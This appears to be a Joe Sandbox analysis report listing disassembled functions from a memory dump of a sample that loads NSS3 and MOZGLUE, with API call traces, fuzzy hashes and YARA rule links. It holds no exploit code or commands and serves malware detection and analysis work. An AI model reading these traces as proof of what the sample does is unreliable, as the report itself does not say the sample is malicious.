Opcode Fuzzy Hash: a4583843dcf7149e12a2415e94fa327ad0a59e10e78c251178d637102133a47f
Instruction Fuzzy Hash: A03126B0A05606DFDB00EF69C48466ABBF4FF09304B158969E899D7B11E730E890CBD6

Function 6C692DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C692E08

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C692E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C692E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C692E95

Part of subcall function 6C681200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C6288A4,00000000,00000000), ref: 6C681228
Part of subcall function 6C681200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C681238
Part of subcall function 6C681200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C6288A4,00000000,00000000), ref: 6C68124B
Part of subcall function 6C681200: PR_CallOnce.NSS3(6C782AA4,6C6812D0,00000000,00000000,00000000,?,6C6288A4,00000000,00000000), ref: 6C68125D
Part of subcall function 6C681200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C68126F
Part of subcall function 6C681200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C681280
Part of subcall function 6C681200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C68128E
Part of subcall function 6C681200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C68129A
Part of subcall function 6C681200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C6812A1

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: b4d739398dfa3d799f14f7727e98741be45c56a0fd9c0afe004bfa3e41d48d3b
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: B1212BB1D013464BE700CF549D84BAB3764AF9230CF110269DD185B752F7B1E699C3AA

Function 6C6269B0 Relevance: 6.1, APIs: 4, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(6C626AB7,0000000C,00000001,00000000,?,?,6C626AB7,?,00000000,?), ref: 6C6269CE

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SEC_ASN1EncodeItem_Util.NSS3(6C626AB7,0000001C,00000004,?,00000001,00000000), ref: 6C626A06
SEC_ASN1EncodeItem_Util.NSS3(6C626AB7,?,00000000,?,00000001,00000000,?,?,6C626AB7,?,00000000,?), ref: 6C626A2D
PR_SetError.NSS3(FFFFE005,00000000,00000001,00000000,?,?,6C626AB7,?,00000000,?), ref: 6C626A42

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$ArenaEncodeItem_Value$Alloc_AllocateCriticalEnterErrorSectionUnlock
String ID:
API String ID: 4031546487-0
Opcode ID: d10c273a4e002a53e40a4754abfa37be3d3a38353fc9266e9f88bc6054060cda
Instruction ID: b93d9f31f805fd226e86d43fe07393ff075c4e5804ea3e0c9a08bff4af19f8ac
Opcode Fuzzy Hash: d10c273a4e002a53e40a4754abfa37be3d3a38353fc9266e9f88bc6054060cda
Instruction Fuzzy Hash: D111CE71A41202AFE710DE65CC80B9673ECEB5135CF20C529EA1AC3A01EB74E814CBA8

Function 6C64ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C64ACC2

Part of subcall function 6C622F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C622F0A
Part of subcall function 6C622F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C622F1D

Part of subcall function 6C622AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C620A1B,00000000), ref: 6C622AF0
Part of subcall function 6C622AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C622B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C64AD5E

Part of subcall function 6C6657D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C62B41E,00000000,00000000,?,00000000,?,6C62B41E,00000000,00000000,00000001,?), ref: 6C6657E0
Part of subcall function 6C6657D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C665843

CERT_DestroyCertList.NSS3(?), ref: 6C64AD36

Part of subcall function 6C622F50: CERT_DestroyCertificate.NSS3(?), ref: 6C622F65
Part of subcall function 6C622F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C622F83

free.MOZGLUE(?), ref: 6C64AD4F

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 02ca0e646b88379a3ba42f033b577ffc88cf7a7c80b644624dcd1ca2a29ff0e9
Instruction ID: 0bb582db0697068806ad80885e556d798d48e5f177fa7333daf12105002df7e5
Opcode Fuzzy Hash: 02ca0e646b88379a3ba42f033b577ffc88cf7a7c80b644624dcd1ca2a29ff0e9
Instruction Fuzzy Hash: 042181B1D002189BEB10DF64D8055EEB7B4AF06259F15C079D805BBB02FB31AA59CBAD

Function 6C67ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C67F0AD,6C67F150,?,6C67F150,?,?,?), ref: 6C67ECBA

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C67ECD1

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C67ED02

Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C67ED5A

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: ad77e5b24b5276f73cbe428a43698ed619f8262246017e69cbd8050d653d60db
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 782104B19017425FE300CF21DA04B92B7E4BFA5348F25C215E81C87661FB70E594C6E8

Function 6C64C860 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

PK11_IsLoggedIn.NSS3(?,?), ref: 6C64C890

Part of subcall function 6C648F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C648FAF
Part of subcall function 6C648F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C648FD1
Part of subcall function 6C648F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C648FFA
Part of subcall function 6C648F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C649013
Part of subcall function 6C648F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C649042
Part of subcall function 6C648F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C64905A
Part of subcall function 6C648F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C649073
Part of subcall function 6C648F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C649111

PR_GetCurrentThread.NSS3 ref: 6C64C8B2

Part of subcall function 6C6E9BF0: TlsGetValue.KERNEL32(?,?,?,6C730A75), ref: 6C6E9C07

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C64C8D0
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C64C8EB

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: K11_Value$CriticalEnterSectionUnlock$AuthenticateCurrentInternalItem_LoggedSlotThreadUtilZfree
String ID:
API String ID: 999015661-0
Opcode ID: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction ID: 14c320d17600893f8acd73c9a768451006d53c8d663de0ccbe05bfe37447ffd7
Opcode Fuzzy Hash: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction Fuzzy Hash: 82018276E012157FE7003AB96C80AAF3A699B4625CF14C135FD05E6B11E761881C92EA

Function 6C674900 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000004,6C65C79F,?,?,6C675C4A,?), ref: 6C674950

Part of subcall function 6C678800: TlsGetValue.KERNEL32(?,6C68085A,00000000,?,6C628369,?), ref: 6C678821
Part of subcall function 6C678800: TlsGetValue.KERNEL32(?,?,6C68085A,00000000,?,6C628369,?), ref: 6C67883D
Part of subcall function 6C678800: EnterCriticalSection.KERNEL32(?,?,?,6C68085A,00000000,?,6C628369,?), ref: 6C678856
Part of subcall function 6C678800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C678887
Part of subcall function 6C678800: PR_Unlock.NSS3(?,?,?,?,6C68085A,00000000,?,6C628369,?), ref: 6C678899

TlsGetValue.KERNEL32(?,?,?), ref: 6C67496A
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C67497A
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C674989

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: 2cdb4e03371cb4dc9747afe5df877ec202d936b76c1b72d7011bffde0b7e4a5e
Instruction ID: 23fef026a0bb73cc77866a899b371014335bcf53d45d57d6e6d55560041379f6
Opcode Fuzzy Hash: 2cdb4e03371cb4dc9747afe5df877ec202d936b76c1b72d7011bffde0b7e4a5e
Instruction Fuzzy Hash: FF110BB1B051009BEB205F28DC45A6677B8FF0735EB240935E95997B21E721E8148BBD

Function 6C6AEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C697FFA,?,6C699767,?,8B7874C0,0000A48E), ref: 6C6AEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C697FFA,?,6C699767,?,8B7874C0,0000A48E), ref: 6C6AEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C697FFA,?,6C699767,?,8B7874C0,0000A48E), ref: 6C6AEE14

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

memcpy.VCRUNTIME140(?,?,6C699767,00000000,00000000,6C697FFA,?,6C699767,?,8B7874C0,0000A48E), ref: 6C6AEE33

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: ec64334029ee8d755484fb09420c0f2804a4428cad3d4b0e6a5af4583287d9e5
Instruction ID: 9f8d7ba555b44ad07a81ba9d3129205ea3a430945f42099631293bb36d9dabc7
Opcode Fuzzy Hash: ec64334029ee8d755484fb09420c0f2804a4428cad3d4b0e6a5af4583287d9e5
Instruction Fuzzy Hash: 0D11A7B1A01716ABDB109EA5DC84B46B3A8FB1435DF104535E91982A40E331E87687E9

Function 6C6908D0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C6909B3,0000001A,?), ref: 6C6908E9

Part of subcall function 6C680840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6808B4

SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C6908FD

Part of subcall function 6C67FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB85
Part of subcall function 6C67FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C67FBB1

SECITEM_AllocItem_Util.NSS3(?,00000000,00000001), ref: 6C690939
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C690953

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$ErrorItem_$AllocAlloc_ArenaCopyFindTag_memcpy
String ID:
API String ID: 2572351645-0
Opcode ID: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction ID: a8fe3e652294880eb05a8f69fe12685d2ab8df80e1b1d0ee7895ea2f7a3b41fd
Opcode Fuzzy Hash: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction Fuzzy Hash: 2A01D6B1A0574B6BFB149A399C10B6737A89F49358F105439EC1AC6B41FB31E4148AAD

Function 6C6749C0 Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

Part of subcall function 6C678800: TlsGetValue.KERNEL32(?,6C68085A,00000000,?,6C628369,?), ref: 6C678821
Part of subcall function 6C678800: TlsGetValue.KERNEL32(?,?,6C68085A,00000000,?,6C628369,?), ref: 6C67883D
Part of subcall function 6C678800: EnterCriticalSection.KERNEL32(?,?,?,6C68085A,00000000,?,6C628369,?), ref: 6C678856
Part of subcall function 6C678800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C678887
Part of subcall function 6C678800: PR_Unlock.NSS3(?,?,?,?,6C68085A,00000000,?,6C628369,?), ref: 6C678899

PR_SetError.NSS3 ref: 6C674A10
TlsGetValue.KERNEL32(6C66781D,?,6C65BD28,00CD52E8,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C674A24
EnterCriticalSection.KERNEL32(?,?,?,6C65BD28,00CD52E8), ref: 6C674A39
PR_Unlock.NSS3(?,?,?,?,6C65BD28,00CD52E8), ref: 6C674A4E

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: 4adb35eaa551e890ba96062da9148d207953a5145e1c60d52291b8bbb36cedd1
Instruction ID: 5e8de46d32a959f87a2600e2e717e509d045fafb58da2cad4d5c2cf1d18bc568
Opcode Fuzzy Hash: 4adb35eaa551e890ba96062da9148d207953a5145e1c60d52291b8bbb36cedd1
Instruction Fuzzy Hash: 88215CB5A056008FDB20AF79C08856AB7F4FF46359B114D39D8999BB11E730E844CFAA

Function 6C61EAD0 Relevance: 6.1, APIs: 4, Instructions: 54networkthreadCOMMON

Download Yara Rule

APIs

htons.WSOCK32(?), ref: 6C61EB13
htonl.WSOCK32(00000000,?), ref: 6C61EB26
htons.WSOCK32(?), ref: 6C61EB44
PR_GetCurrentThread.NSS3(?), ref: 6C61EB58

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: htons$CurrentThreadhtonl
String ID:
API String ID: 2156189399-0
Opcode ID: 136cd7b5b1a6974ba4ea458ca66cb97dae2afb24a884c88ad66face13e573f0b
Instruction ID: 1d87ae3e877323339ecc25069ead9eae75a572dedb09b1b0612ccd6246b45735
Opcode Fuzzy Hash: 136cd7b5b1a6974ba4ea458ca66cb97dae2afb24a884c88ad66face13e573f0b
Instruction Fuzzy Hash: 7A11B661D2879197D310CF298A096B673A0BF96309F11AB1EE8CA47E61E770E5C0C398

Function 6C648DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C648DE7
EnterCriticalSection.KERNEL32 ref: 6C648DFC
PR_Unlock.NSS3 ref: 6C648E2D
PR_SetError.NSS3 ref: 6C648E49

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: aff0741cc49ff09888b169d6b099ff89a428069ec0517641d960c52bc0082a32
Instruction ID: 038cb61ede15d283457a90df56a4137aa13e45ea50db2364585460fcdd6af53e
Opcode Fuzzy Hash: aff0741cc49ff09888b169d6b099ff89a428069ec0517641d960c52bc0082a32
Instruction Fuzzy Hash: A4118F716056149BD700AF78C4486AABBF4FF0A354F018969DC88D7B10E730E854CBD6

Function 6C6CAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C6B5F17,?,?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6CAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C6B5F17,?,?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6CACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6CACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6CACDB

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
